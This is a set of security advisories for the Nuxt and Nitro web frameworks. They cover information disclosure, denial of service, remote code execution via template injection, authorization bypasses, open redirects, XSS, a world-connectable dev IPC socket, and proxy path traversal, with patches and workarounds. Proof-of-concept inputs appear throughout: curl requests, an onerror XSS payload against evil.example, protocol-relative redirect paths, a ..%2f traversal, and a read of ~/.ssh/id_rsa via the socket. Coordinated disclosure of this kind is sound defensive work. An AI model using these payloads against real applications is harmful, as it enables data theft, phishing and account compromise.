Nuxt dev server discloses project root and workspace UUID via the Chrome DevTools workspace endpoint
Impact
When a Nuxt dev server is bound to a network-reachable interface (for example nuxt dev --host for on-device testing), the default-enabled Chrome DevTools workspace endpoint GET /.well-known/appspecific/com.chrome.devtools.json returns the absolute project root (workspace.root, i.e. rootDir) and a persistent per-project workspace UUID.
GHSA-rq7w-g337-39qq added a gate (isLocalDevRequest) intended to restrict this endpoint to local requests, but that gate is header-based: it trusts request metadata rather than the connected peer address. A request with no Sec-Fetch-Site, Origin, and Referer headers (normal for a non-browser client such as curl) is treated as local, and the Host allow-list is compared against the attacker-supplied Host header. As a result, any unauthenticated host that can reach the dev server on the LAN can retrieve the project's absolute filesystem path and workspace UUID, for example with curl -H 'Host: localhost' http://<dev-host-lan-ip>:3000/.well-known/appspecific/com.chrome.devtools.json.
This is information disclosure only: there is no file read, file write, or code execution reachable from the endpoint. It requires the dev server to be reachable beyond loopback and experimental.chromeDevtoolsProjectSettings to be enabled (it defaults to true). Production builds are unaffected, because the endpoint is registered only as a development handler.
Patches
Fixed in nuxt@4.5.1 and nuxt@3.21.10. The endpoint now additionally requires the connected TCP peer to be a loopback address, verified from the socket rather than from request headers, so a non-loopback LAN client is rejected regardless of the Host, Origin, Referer, or Sec-Fetch-* headers it sends. The shared header-based check is left unchanged, so the CSRF / same-origin behaviour that other dev handlers rely on is preserved. After this fix, Chrome DevTools workspace auto-mapping only works when the browser reaches the dev server over loopback (localhost / 127.0.0.1 / ::1), which matches the feature's intent (the browser and dev server sharing a filesystem).
Workarounds
Do not bind the dev server to a non-loopback interface on an untrusted network, or restrict access to the dev port with a firewall.
Disable the feature by setting experimental.chromeDevtoolsProjectSettings: false in nuxt.config.
Nuxt: Unauthenticated CPU exhaustion parsing and hashing the Nuxt island endpoint body before hash validation
Impact
The internal island renderer endpoint (/__nuxt_island/...) decodes and hashes attacker-controlled request input before it validates the URL-resident hash. An unauthenticated POST /__nuxt_island/<name>_<anything>.json with a large JSON body (for example ~4.6 MB / 150k keys) is fully read, destr-parsed, and run through ohash before the request is rejected with a 400. Because Nitro runs on a single event loop, this both wastes CPU on the doomed request and delays every concurrent request. A low request rate is enough to degrade or stall the server. No valid hash and no authentication are required.
Patches
Fixed in nuxt@4.5.1 and nuxt@3.21.10. The island handler now enforces a raw body-size cap (413) and a JSON nesting-depth cap (400) before parsing or hashing, so oversized or deeply nested input is rejected cheaply.
Workarounds
Put a small request-body limit in front of /__nuxt_island/ at your reverse proxy / edge (islands legitimately send only a compact props payload), or disable server components if unused.
Nuxt: Server-Side Remote Code Execution via Runtime Template Injection in Nuxt Server Island Props
Impact
Nuxt server islands accept props via the /__nuxt_island/ endpoint. When vue.runtimeCompiler: true is enabled (off by default) and the application has a server island component that forwards props into Vue's dynamic component resolution (<component :is>, resolveDynamicComponent, or h()), an attacker can inject a template key into the island props to achieve server-side remote code execution in the Nitro process.
``json
{ "as": { "template": "<attacker-controlled>" } }
`
Vue's runtime template compiler compiles and executes the attacker-controlled template in the server process. The same primitive also works on the client side when the runtime compiler is active there, though the server-side path is the primary concern.
Some component libraries expose a polymorphic as / asChild prop that forwards its value into <component :is>; @nuxt/ui (via reka-ui) is a widely used example. An application is affected if such a component receives the attacker-controlled value, provided vue.runtimeCompiler is also enabled. Note this does not require the island author to explicitly forward a prop: island props that the island component does not declare fall through as attributes onto its single root element (standard Vue attribute inheritance), so an island whose root is a polymorphic component receives the attacker's as value implicitly. These libraries are not themselves vulnerable; they are noted only because they commonly provide the dynamic-component sink.
Common configurations that satisfy the preconditions
The flaw is in Nuxt core. The library below is not itself vulnerable; it is noted because it commonly provides the dynamic-component sink an application might inadvertently expose.
@nuxt/ui (via its underlying reka-ui primitives) exposes a polymorphic as / asChild prop that is forwarded into Vue's dynamic-component resolution. Installing @nuxt/ui does not by itself register any component as a server island. Exploitation requires the application to define an island component (a .server.vue file) whose rendered output puts the attacker-controlled value on such a component's as / asChild prop; with vue.runtimeCompiler: true, the attacker-controlled template is then compiled and executed. Because undeclared island props fall through as attributes to the single root, this can happen without any explicit binding: an island whose root is a reka-ui / @nuxt/ui component is enough. An example vulnerable island (the as value falls through to UButton, no explicit forwarding needed):
`vue
<!-- components/MyWidget.server.vue -->
<template>
<UButton>Save</UButton>
</template>
`
The island URL hash (/__nuxt_island/<Name>_<hash>.json) is a deterministic (unsalted) content hash, not an authentication token. It provides integrity relative to the URL but is not a security boundary: an attacker who knows the component name and desired props can compute a valid hash.
Mitigating factors
vue.runtimeCompiler is off by default in Nuxt. The vast majority of Nuxt applications are not affected.
Exploitation requires a second precondition: the application must have a server island component that puts an attacker-controlled value onto a dynamic-component path (<component :is>, resolveDynamicComponent, h(), or a polymorphic as / asChild prop). This can occur explicitly or via attribute fallthrough when the island's root is such a component.
SSG / static deployments are largely unreachable via this vector (no server process to exploit).
Island component names are constrained to the build-time component registry; an attacker cannot resolve arbitrary components.
Affected versions
Nuxt >=3.4.0 <3.21.10 and >=4.0.0 <4.5.1, and only when vue.runtimeCompiler: true and component islands are active. Earlier versions did not allow the Vue compiler to be enabled in the server bundle (the compiler dependencies have been mock-aliased on the server since v3.0.0-rc.1), so the runtime-compilation path is not reachable. Nuxt 2 is not affected (no server islands).
Patches
When vue.runtimeCompiler is enabled, island requests whose decoded props contain a template key at any depth are rejected with an HTTP 400 and a diagnostic suggesting the author rename the prop or disable the runtime compiler. The guard is gated on the runtime compiler being enabled, so the default configuration (compiler off) is unaffected and legitimate props that merely contain a template field (for example CMS content) continue to render. A render key is not rejected: island props arrive as JSON, so a render value can only be an inert string, which Vue ignores.
Fixed in nuxt@4.5.1 and backported to nuxt@3.21.10.
Workarounds
Upgrade to nuxt@4.5.1 or nuxt@3.21.10. If you cannot immediately upgrade, you can mitigate by:
1. Ensure vue.runtimeCompiler is set to false (the default).
2. Do not forward island props into <component :is>, resolveDynamicComponent, or h() without sanitization.
3. As a defense-in-depth measure, deploy a WAF rule on /__nuxt_island/ that URL-decodes and JSON-parses the props value and blocks any object property named template or render` in the decoded island props, inspecting both query and body for all methods. Note: this only covers direct and browser-originated island requests; initial-SSR internal island renders do not transit the edge and a WAF alone does not close the vector.
Nuxt: Unauthorized Component Instantiation via Server Island Props
Impact
Nuxt server islands accept props via the /__nuxt_island/ endpoint. When an application has a server island component that forwards props directly into Vue's dynamic component resolution (<component :is>, resolveDynamicComponent, or h()), an attacker can pass a plain string value (rather than a component definition) to instantiate any globally-registered Vue component or any native HTML element.
For example:
``json
{ "as": "SomeGlobalComponent" }
`
...resolves and renders SomeGlobalComponent if it is globally registered, even though the attacker should only be able to drive props for the island's declared component. Similarly, { "as": "iframe" } renders an <iframe> element.
Unlike the primary RCE vector (GHSA-9473-5f9j-94wq), this does not require vue.runtimeCompiler to be enabled. A plain string prop is sufficient to trigger component resolution. The template/render key guard that addresses the RCE vector does not block plain string values.
Some component libraries expose a polymorphic as / asChild prop that forwards its value into <component :is>; @nuxt/ui (via reka-ui) is a widely used example. An application is affected if such a component receives the attacker-controlled value inside a server island. Note this does not require explicit prop forwarding: island props the island component does not declare fall through as attributes onto its single root element, so an island whose root is a reka-ui / @nuxt/ui component receives the attacker's as value implicitly. Unlike the RCE vector, no vue.runtimeCompiler is required, which makes this vector reachable in more configurations. These libraries are not themselves vulnerable; they are noted only because they commonly provide the dynamic-component sink. Installing @nuxt/ui does not by itself register any component as a server island: the application must define the island (a .server.vue file).
Mitigating factors
Exploitation requires a server island component that puts an attacker-controlled value onto a dynamic-component path (<component :is>, resolveDynamicComponent, h(), or a polymorphic as / asChild prop), either explicitly or via attribute fallthrough when the island's root is such a component.
Reachable components are limited to what is actually in the island app's global registry. In a default pages-enabled app that is RouterView and RouterLink (both registered globally by the pages router plugin, which runs even in component islands), plus any components/global/ component and any component a module registers globally. RouterLink in particular renders an attacker-influenced <a> (and, because an island that declares no props forwards all props, to and other RouterLink props ride the same fallthrough). Vue built-ins (Transition, KeepAlive, Teleport, Suspense) and Nuxt auto-imports (ClientOnly, NuxtLink, NuxtPage, etc.) are NOT in the island app's global registry and cannot be resolved this way; an unresolved name instead renders as a native HTML element (the element-injection half of this issue).
Declaring the props an island accepts, or setting inheritAttrs: false on it, prevents an undeclared as from falling through to a polymorphic root and neutralizes this vector.
Arbitrary JavaScript execution is not possible through this vector (no template/render compilation).
Island component names are constrained to the build-time component registry; an attacker cannot resolve arbitrary components.
Affected versions
Nuxt >=3.1.0 <3.21.10 and >=4.0.0 <4.5.1, with component islands active. The island prop-forwarding behavior has existed since server islands were introduced in v3.1.0, and this vector does not depend on vue.runtimeCompiler. Nuxt 2 is not affected.
Note the patch (below) closes the implicit attribute-fallthrough path, which is the majority case. An island that explicitly forwards an untrusted prop into dynamic component resolution (or forwards it under a prop name other than as) remains the application's responsibility in every version; see Workarounds.
Patches
Fixed in nuxt@4.5.1 and nuxt@3.21.10. Patched releases reject a top-level as island prop (HTTP 400 at the /__nuxt_island/ endpoint). This closes the implicit path: island props an island does not declare fall through as attributes onto its single root, so a top-level as would otherwise reach a polymorphic root component's as prop (the reka-ui / @nuxt/ui convention) and drive dynamic component resolution without the author binding it. Rejecting the top-level as prop blocks that fallthrough while leaving nested data and other prop names untouched.
The framework deliberately does not attempt to block every case: it cannot safely tell a string used as data from one used as a component selector, and it has no island-local hook into Vue's h() or resolveDynamicComponent(). An island that explicitly forwards an untrusted value into <component :is> / h() / resolveDynamicComponent(), or that forwards it under a different polymorphic prop name, is therefore not covered by the patch and must follow the guidance below. The Nuxt documentation now warns against this.
Workarounds
Upgrade to nuxt@4.5.1 or nuxt@3.21.10. That upgrade also removes the related object-prop RCE (GHSA-9473-5f9j-94wq). In addition, in any version:
1. Do not forward island props into <component :is>, resolveDynamicComponent, or h(). Map an untrusted discriminator through a closed allowlist of imported component definitions instead of passing the raw prop value.
2. Declare the props an island accepts, or set inheritAttrs: false` on it, so request input cannot fall through to a polymorphic root component.
3. Avoid registering sensitive components globally that could leak information if instantiated by an attacker.
Nuxt runtime payload cache discloses another user's SSR data across users and to unauthenticated clients
Impact
When a page is covered by routeRules cache / swr / isr, Nuxt enables runtime payload extraction and serves /<page>/_payload.json. On affected versions the renderer stored the SSR payload in the shared cache:nuxt:payload storage under a path-only key (no cookie, authorization, or cache.varies dimension) and, on a later payload request, returned the cached entry before route middleware / page guards ran again.
As a result, once any authenticated user warms a protected, cached page, a subsequent GET /<page>/_payload.json from an unauthenticated client or a different authenticated user receives the first user's payload: the full SSR data for that route, including anything loaded via useFetch / useAsyncData (for example /api/me: profile, tenant, billing, token-like values). The HTML response stays correctly varied and protected; only the extracted payload leaks. Both cross-user (A warms, B receives A) and unauthenticated disclosure are exploitable. cache.varies does not mitigate it, because the payload cache ignores varies.
Introduced when runtime payload extraction landed for cached routes (#34410); the regression is specific to the 4.x line, where the runtime cache:nuxt:payload storage was added and the import.meta.prerender gate on the payload-cache read/writes was dropped. The 3.x line shipped the same feature with the gate intact and is not affected.
Patches
Fixed in nuxt@4.5.1. Runtime payload-cache reads and writes are again confined to prerendering (import.meta.prerender); at runtime, /<page>/_payload.json follows the normal render path so route middleware, routeRules.appMiddleware, and page guards run for the current request. main / v5 and the 3.x line already had this property, so 3.x is not affected.
Workarounds
Set experimental.payloadExtraction: false (reporter-validated): the standalone /_payload.json endpoint returns 404 and the page still serves a 200 with an inline payload.
Do not apply cache / swr / isr to authenticated pages that render user-specific SSR data.
As defense-in-depth, require authentication for /**/_payload.json at a proxy / CDN.
After upgrading, purge any CDN / platform cache that may already hold protected payloads.
Nuxt route rules silently dropped for mixed-case paths, bypassing appMiddleware auth gates (incomplete fix for CVE-2026-53721)
Impact
Nuxt matches route rules case-insensitively by default (mirroring vue-router's default sensitive: false routing). The fix for GHSA-mm7m-92g8-7m47 / CVE-2026-53721 lowercased the lookup path before matching route rules, but the route-rule keys compiled into the matcher were left verbatim. As a result, any route rule whose key contains an uppercase character (for example /Admin, /Dashboard/**, or the rules Nuxt derives from PascalCase/camelCase page files such as pages/Admin.vue) never matches, because every lookup is folded to lowercase while the key stays mixed-case.
vue-router still serves the page case-insensitively, so the page renders with none of its Nuxt route-rule protections applied. The most serious consequence is an authorization bypass: an appMiddleware rule used as an auth gate (routeRules: { '/Admin/dashboard': { appMiddleware: 'auth' } }) is dropped, and /Admin/dashboard, /admin/dashboard, and /ADMIN/dashboard all render the protected page (and its SSR-fetched data) to an unauthenticated visitor instead of redirecting to login. The same gap drops Nuxt's other app-side route-rule behaviours for mixed-case keys, including the client redirect middleware, the app-side ssr: false decision, prerender, and payload handling.
Patches
Fixed in nuxt@4.5.1 (4.x) and nuxt@3.21.10 (3.x). The route-rule matcher now case-folds the compiled keys the same way it folds the lookup path, so key and lookup normalisation are symmetric. Both sides are gated on router.options.sensitive: with sensitive: true (case-sensitive routing) configured casing is preserved on both sides.
Scope note: server-emitted per-route headers, server redirect, and proxy are matched by Nitro's own case-sensitive route-rule matcher, not by Nuxt's app-level matcher. They are unchanged by this advisory. The fix covers the app-level protections Nuxt owns (appMiddleware, appLayout, the client redirect middleware, the app ssr decision, prerender, and payload).
Workarounds
If you cannot upgrade immediately, any one of:
Key all routeRules (and name your page files) in lowercase, so the keys already match the folded lookup path.
Set router: { options: { sensitive: true } } so routing and route-rule matching are both case-sensitive and exact (requests must then use the exact casing).
Enforce the sensitive protections server-side independently of route rules (for example a server middleware that checks auth), which does not rely on case-insensitive route-rule matching.
Nuxt: Unauthenticated out-of-memory crash via unbounded v-for expansion in island rendering
Impact
An unauthenticated attacker can crash a Nuxt server that renders any island / server component containing a v-for over a prop (for example v-for="n in count" or a <slot v-for>). Because the island URL hash is a non-secret digest of the request, the attacker can compute a valid hash for arbitrary props and send the iterated prop as a large integer. The server then expands the v-for to that many nodes during SSR, allocating memory proportional to the attacker's number. Reporter figures: count=8000000 produced a 142.9 MB response; count=40000000 (and items=4000000 on a slot list) produced an out-of-memory crash of the worker from a single ~130-byte request. Both the plain v-for path (Vue's ssrRenderList) and the slot path (vforToArray) are affected.
Patches
Fixed in nuxt@4.5.1 and nuxt@3.21.10. Island/server-component v-for sources are now clamped to a maximum iteration count (MAX_VFOR_LENGTH = 100000) at the render boundary, covering the plain path, the <slot v-for> element, and the vforToArray slot-props helper. Combined with the body-size cap (GHSA-9pgf-384g-p7mv), a single island render can no longer allocate without bound regardless of which v-for path is used or whether the prop arrives as an integer or an array.
Workarounds
Avoid v-for directly over an unclamped prop in server components, or clamp the count in the component (v-for="n in Math.min(count, 1000)"). A body-size limit in front of /__nuxt_island/ only mitigates array-shaped inputs, not the integer-amplification case.
References
Bound helper: packages/nuxt/src/app/components/vfor.ts
Transform: packages/nuxt/src/components/plugins/islands-transform.ts
Slot helper: packages/nuxt/src/app/components/utils.ts (vforToArray)
Nuxt dev server vite-node IPC socket is world-connectable on Linux
Impact
When running nuxt dev on Linux (Node.js 20+, outside Docker / StackBlitz), Nuxt's internal vite-node IPC server binds to a Linux abstract-namespace Unix socket (\0nuxt-vite-node-<pid>-<ts>.sock). Abstract sockets have no filesystem inode and therefore no permission bits: any local UID on the host that can read /proc/net/unix can enumerate the socket and connect to it.
The IPC server does not perform any peer-credential or shared-secret check before dispatching requests. The module request type passes its moduleId field straight into Vite's SSR fetchModule(), which is not gated by Vite's HTTP-layer server.fs.allow deny-list. A co-resident unprivileged local user can therefore request paths like /home/<dev>/project/.env?raw or ~/.ssh/id_rsa?raw and read the developer's secrets through the dev server's SSR plugin pipeline. The resolve request type additionally enables filesystem probing.
This affects developers running nuxt dev on shared multi-tenant Linux hosts (lab machines, shared bastions, CI runners shared between jobs without per-job container isolation). It does not affect:
Production builds (nuxt build / nuxt start). The IPC server only runs in development.
macOS or Windows developers.
Docker / StackBlitz environments, which already fall back to a filesystem socket.
Single-user laptops or per-job containerised CI.
Patches
Fixed in nuxt@4.4.7 (commit 1f9f4767) and backported to nuxt@3.21.7 (commit c293bf95).
The fix removes the abstract-namespace branch entirely. The IPC server now always binds to a filesystem Unix socket under the OS temp directory and explicitly chmod 0600s it after listen(), restricting connections to the owning UID. If the chmod fails for any reason, the server closes rather than serve requests on an unrestricted channel.
Workarounds
If you cannot upgrade immediately on an affected host:
Run nuxt dev inside a container or VM with no other tenants. Docker already triggers the filesystem-socket fallback in vulnerable versions and that fallback is unaffected.
Bind the dev process to a single-user namespace (unshare -U, rootless containers).
Restrict /proc/net/unix visibility via hidepid=2 mount options where applicable, though this is partial mitigation only.
References
Affected file: packages/vite/src/plugins/vite-node.ts
CWE-276: Incorrect Default Permissions
Credit
Reported by Anthropic / Claude as part of Anthropic's coordinated vulnerability disclosure programme, reference ANT-2026-MSNKZFAT. Thanks to the Anthropic security team for the report and the detailed reproduction.
Independently reported by @alcls01111 via GitHub's coordinated disclosure flow (GHSA-5gvc-46gq-948j), closed as a duplicate of this advisory.
Nuxt: Route-rule middleware bypass via case-sensitivity mismatch between vue-router and the routeRules matcher
Impact
Nuxt looks up routeRules for the current navigation by calling
getRouteRules({ path: to.path }) from the page-router plugin and the
no-pages router plugin. The compiled routeRules matcher (built on
rou3) performs case-sensitive matching, while vue-router is configured
with its default sensitive: false and matches paths case-insensitively.
The two routers therefore disagree on which rules apply to a given
request path: vue-router still matches the page record for
/Admin/dashboard, but the routeRules lookup for the same path
returns no match. Any appMiddleware declared via routeRules is never
added to the middleware set and never runs, on both SSR and client
navigations. The same path skips other path-keyed route rules in the
same way (ssr, redirect, appLayout, and the prerender / payload
hints used client-side).
For applications using routeRules with appMiddleware as an
authorization gate (a documented pattern), an attacker can flip the case
of any static segment in a protected URL (for example /Admin/dashboard
instead of /admin/dashboard) to render the protected page with the
middleware skipped. The server returns the fully server-rendered page
including any useFetch / useAsyncData results captured during SSR.
This is an instance of CWE-178 (Improper Handling of Case Sensitivity)
leading to CWE-863 (Incorrect Authorization) for apps that treat
appMiddleware as an authorization boundary.
Mitigating factors
Only affects apps that use routeRules.appMiddleware. The more
idiomatic definePageMeta({ middleware }) is bound to the matched
route record and is unaffected.
Nuxt route middleware is documented as an app-layer concern, not a
server-side auth boundary; well-built apps enforce authorization
again at the API / data-fetching layer.
Apps that explicitly set router.options.sensitive = true are not
affected.
Patches
Fixed in nuxt@4.4.7 (commit 07e39cd6) and backported to nuxt@3.21.7 (commit 3f3e3fa7). The fix normalizes the path used for routeRules lookups so it matches vue-router's default case-insensitive semantics.
Workarounds
Until you can upgrade, you can mitigate by either:
1. Setting router.options.sensitive = true so vue-router matches
case-sensitively (this changes route-matching behaviour app-wide).
2. Moving security-critical middleware off routeRules.appMiddleware
and onto definePageMeta({ middleware: [...] }) on the protected
page components, which is bound to the matched record.
3. Enforcing authorization at the API / data-fetching layer (which you
should be doing in any case).
Credit
Reported by Anthropic / Claude through Anthropic's coordinated
vulnerability disclosure process. Reference: ANT-2026-9FSEBYMC.
Nuxt: URL-handling weaknesses in `navigateTo` and `reloadNuxtApp`: SSR open redirect, client-side script execution via the `open` option, and protocol-relative bypass in `reloadNuxtApp`
Summary
Three weaknesses in Nuxt's client-navigation URL handling, all reachable
from documented public APIs (navigateTo and reloadNuxtApp):
1. (CVE-2026-56326) SSR open redirect in navigateTo via path-normalisation bypass.
navigateTo decided whether a target was external by inspecting the raw
input with hasProtocol(..., { acceptRelative: true }). Inputs such as
/..//evil.com, /.//evil.com, /%2e%2e//evil.com, or
/app/..//evil.com slipped past that check because they start with
/, but WHATWG URL parsing then normalised them to the
protocol-relative pathname //evil.com. The normalised value was
written to the Location response header and into the
<meta http-equiv="refresh"> body of the SSR redirect page, so a
victim's browser would resolve the redirect cross-origin to the
attacker's host.
2. (CVE-2026-56698) Client-side script execution via navigateTo({ open: ... }). The
client-side early-open handler called window.open(toPath, ...) without
applying the isScriptProtocol check that gates the normal navigateTo
path. A target of javascript:... (or another script-capable scheme)
passed to navigateTo(url, { open: { ... } }) therefore executed in the
application's origin instead of being rejected.
3. (CVE-2026-56697) Open redirect in reloadNuxtApp via protocol-relative bypass.
reloadNuxtApp({ path }) rejects script-capable protocols by parsing
the path with new URL(path, window.location.href) and checking the
resolved protocol against isScriptProtocol. Protocol-relative paths
such as //evil.com resolve to the current page's protocol (https:),
which passes that check; the value is then assigned to
window.location.href, which the browser treats as a cross-origin
redirect. This is the same protocol-relative bypass family as (1), in
a different sink.
Impact
For (1), the practical risk is phishing or OAuth-code theft against any
Nuxt app that forwards user-controlled input (for example a ?next=
query parameter on a login route) into navigateTo on the server. The
framework documents that navigateTo blocks external hosts unless
external: true is passed, so maintainers commonly rely on it as the
safe path for post-login redirects.
For (2), any app that passes a user-controlled URL into
navigateTo(url, { open: { ... } }) was vulnerable to reflected XSS in
the application's first-party origin.
For (3), any app that forwards user-controlled input into
reloadNuxtApp({ path }) could be redirected cross-origin for phishing
or OAuth-code theft, even on releases that already shipped the
isScriptProtocol guard added by #35115.
Patches
Fixed in nuxt@4.4.7 and backported to nuxt@3.21.7. The three sinks
are addressed by:
Path-normalisation bypass in navigateTo:
4.x: commit 2cce6fb0
3.x: commit 1f2dd5e7
navigateTo({ open }) script-protocol guard:
4.x: #35206 (commit 3394716d)
3.x: commit 62fc32ed
Protocol-relative bypass in reloadNuxtApp:
4.x: commit e447a793
3.x: commit 6497d99d
Workarounds
For (1): validate redirect targets before passing them to navigateTo,
for example reject any input where
new URL(target, 'http://localhost').pathname starts with //, or
only accept a known allow-list of paths.
For (2): reject any user-controlled URL whose protocol is not in an
allow-list (typically just http: and https:) before passing it to
navigateTo({ open: ... }).
For (3): same shape as (1). Reject paths starting with // (or where
new URL(path, window.location.href).host !== window.location.host)
before passing to reloadNuxtApp({ path }).
References
CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Credits
Reported by Anthropic / Claude as ANT-2026-S08HN6DH through Anthropic's
coordinated vulnerability disclosure programme.
The reloadNuxtApp protocol-relative bypass (sink 3) was independently
reported by @alcls01111 via GitHub's
coordinated disclosure flow (GHSA-w7fp-2cfv-4837), closed as a
duplicate of this advisory.
Nuxt's route middleware is not enforced when rendering `.server.vue` pages via `/__nuxt_island/page_*`
Summary
When experimental.componentIslands is enabled (default in Nuxt 4), any .server.vue file under pages/ is automatically registered as a server island under the key page_<routeName> and exposed via the /__nuxt_island/:name endpoint. Until this fix, requests through that endpoint rendered the page component directly via the SSR renderer without instantiating Vue Router, which meant route middleware declared on the page (including definePageMeta({ middleware })) did not run.
For Nuxt applications that gate a .server.vue page behind route middleware as their sole auth check, an unauthenticated attacker could bypass that check by requesting /__nuxt_island/page_<routeName>_<anyhash> directly and receiving the server-rendered HTML.
Affected configurations
All three conditions must hold for an application to be vulnerable:
1. experimental.componentIslands is enabled (the default in Nuxt 4; opt-in in Nuxt 3).
2. The application defines one or more .server.vue files under pages/, registering them as routed pages.
3. Authentication / authorization for at least one such page is enforced solely via route middleware (middleware/.ts referenced from definePageMeta), without a server-side check inside the page or its data layer.
Applications that enforce auth inside the island's own data layer (server-only API routes, useRequestEvent + manual session checks, etc.) were not affected. The general "route middleware does not run for non-page island components" behaviour is documented and unchanged; this advisory concerns the .server.vue page case specifically, where running middleware is the user's clear expectation.
Details
Build (packages/nuxt/src/components/templates.ts): .server.vue pages are registered as island components with page_ prefix, making them addressable through /__nuxt_island/page_<routeName>_<hashId>.
Runtime (packages/nitro-server/src/runtime/handlers/island.ts): the handler resolves the requested island component and renders it via renderer.renderToString(ssrContext). The Vue Router plugin previously short-circuited middleware execution whenever ssrContext.islandContext was set.
The two paths interact so that route middleware declared on the source page never runs.
Proof of concept
Given a page app/pages/secret.server.vue:
``vue
<script setup lang="ts">
definePageMeta({ middleware: 'auth' })
</script>
<template>
<h1>SECRET DATA</h1>
</template>
`
with middleware/auth.ts blocking unauthenticated access:
`bash
Direct page request: blocked by middleware
curl -i http://localhost:3000/secret
-> 403 / redirect, depending on the middleware
Island request: middleware did not run before this fix
curl -i 'http://localhost:3000/__nuxt_island/page_secret_anyhash'
-> 200 OK, body includes <h1>SECRET DATA</h1>
`
Patches
Patched in nuxt@4.4.6 and nuxt@3.21.6 by #35092. The Vue Router plugin now runs middleware and redirect handling for page_ islands (i.e. islands that originate from .server.vue files in pages/). The island handler propagates middleware-issued responses (~renderResponse), and a new beforeResolve guard returns HTTP 400 when the requested page_<name> does not match the route component the URL resolves to.
Non-page island components are unaffected - they continue to render without route middleware, by design.
Workarounds
If you cannot upgrade immediately:
Enforce authentication inside the .server.vue page itself, not via route middleware. Read the session from useRequestEvent() and throw createError({ statusCode: 401 }) (or redirect) before returning data. This is the recommended pattern for islands regardless of this advisory.
Disable experimental.componentIslands if your app does not use the feature.
If your app must keep route-middleware-only auth, gate the /__nuxt_island/page_*` URL prefix at your reverse proxy or in a server middleware.
Nuxt: Reflected XSS in `navigateTo()` external redirect
Summary
navigateTo() with external: true generates a server-side HTML redirect body containing a <meta http-equiv="refresh"> tag. The destination URL is only sanitized by replacing " with %22, leaving <, >, &, and ' unencoded. An attacker who can influence the URL passed to navigateTo(url, { external: true }) can break out of the content="…" attribute and inject arbitrary HTML/JavaScript that executes under the application's origin.
This is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed javascript: protocol bypass. The issue here is triggered by any valid URL containing >.
Impact
Applications that pass user-controlled input to navigateTo(url, { external: true }) — typically via a ?next= / ?redirect= query parameter used for post-login or "return to" flows — are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application's origin during the server-rendered redirect response, before the meta-refresh fires.
Details
In packages/nuxt/src/app/composables/router.ts, the SSR redirect path builds an HTML response body with only " percent-encoded in the destination URL:
``ts
const encodedLoc = location.replace(/"/g, '%22')
nuxtApp.ssrContext!['~renderResponse'] = {
status: sanitizeStatusCode(options?.redirectCode || 302, 302),
body: <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=${encodedLoc}"></head></html>,
headers: { location: encodeURL(location, isExternalHost) },
}
`
The Location header is normalised through encodeURL() (which uses the URL constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause.
Proof of concept
Global middleware that forwards a query parameter to navigateTo:
`ts
// middleware/redirect.global.ts
export default defineNuxtRouteMiddleware((to) => {
const next = to.query.next as string | undefined
if (next) {
return navigateTo(next, { external: true })
}
})
`
Request:
`
GET /?next=https://evil.example/x><img src=x onerror=alert(document.domain)>
`
Response body:
`html
<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=https://evil.example/x><img src=x onerror=alert(document.domain)>"></head></html>
`
The > after evil.example/x terminates the content="…" attribute, and the <img onerror> tag executes JavaScript in the application's origin before any redirect
occurs.
Patches
Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35052. The fix percent-encodes the full set of HTML-attribute-significant characters (&, ", ', <, >) before interpolating the URL into the meta-refresh body
Workarounds
If you can't upgrade immediately, validate user-controlled URLs before passing them to navigateTo(url, { external: true }). At minimum, normalise through new URL(input).toString() and reject inputs containing < or >` (a normalised URL with these characters is malformed and safe to refuse).
Nitro has an Open Redirect via Protocol-Relative URL Bypass in Wildcard Route Rules
A redirect route rule like:
``ts
routeRules: {
"/legacy/": { redirect: "/" }
}
`
is intended to rewrite paths within the same host. Before the patch, an attacker could turn the rewrite into a cross-host redirect by sliding an extra slash in after the rule prefix. Example exploit:
`
GET /legacy//evil.com
`
Nitro stripped /legacy from the matched pathname and joined the remainder against the rule's target. The remainder was //evil.com, which the join preserved verbatim, so Nitro responded with Location: //evil.com. Browsers resolve //evil.com as a protocol-relative URL against the current scheme, sending the user to https://evil.com.
Are you affected?
Users may be affected if all of the following are true:
1. Their project uses Nitro's routeRules with a redirect entry.
2. The target uses a / wildcard suffix to forward sub-paths (e.g. redirect: "/", redirect: "/new/", proxy: { to: "http://upstream/" }).
3. The redirect rule is _not_ handled natively at the CDN layer. The vercel, netlify, cloudflare-pages, and edgeone presets translate routeRules.redirect into platform config (vercel.json, _redirects, EdgeOne v3 config) and serve the redirect at the edge — those deployments bypass the Nitro runtime entirely and are not affected. Every other preset executes the redirect through the Nitro runtime and can be vulnerable.
Impact
Open redirect from any host serving Nitro with a wildcard redirect rule. The redirect target is fully attacker-controlled, the URL looks legitimate (it starts with the victim's domain), and the browser silently follows it.
Patched versions
Upgrade to one of:
2.13.4 or later (or upgrade lockfile with latest ufo 1.6.4+)
3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4236)
The fix has two parts:
1. ufo is bumped to ^1.6.4 (unjs/ufo@5cd9e67), which collapses any run of leading slashes to a single / inside withoutBase. This covers the typical "/scope/" rule.
2. The Nitro runtime additionally collapses leading // before joining when the rule path itself is / (in rare case which case withoutBase is never called and the raw pathname flows straight into joinURL("", …)`).
Nitro has a proxy scope bypass via percent-encoded path traversal in `routeRules`
A proxy route rule like:
``ts
routeRules: {
"/api/orders/": { proxy: { to: "http://upstream/orders/" } }
}
`
is intended to limit the proxy to URLs under /api/orders/. Before the patch, an attacker could bypass that scope by sending percent-encoded path traversal (..%2f) in the URL, causing Nitro to forward a request that the upstream resolved outside the configured scope. Example exploit:
`
GET /api/orders/..%2fadmin%2fconfig.json
`
Nitro sees ..%2f as opaque characters at match time, the /api/orders/ rule matched, and the raw path was forwarded to the upstream as /orders/..%2fadmin/config.json. An upstream that decodes %2F to / then resolved .. and can serve /admin/config.json outside the intended scope.
Are you affected?
Users may be affected if ALL of the following are true:
1. Their project uses Nitro's routeRules with a proxy entry ({ proxy: { to: "..." } }).
2. The proxy to value uses a / wildcard suffix to forward sub-paths.
3. The upstream behind the proxy decodes %2F as / before routing or filesystem lookup.
4. Proxy route rules are _not_ handled natively at CDN (nitro v3 and vercel)
Whether the bypass actually leaks data depends on the upstream. Modern JS frameworks keep %2F opaque per RFC 3986 and are safe by construction.
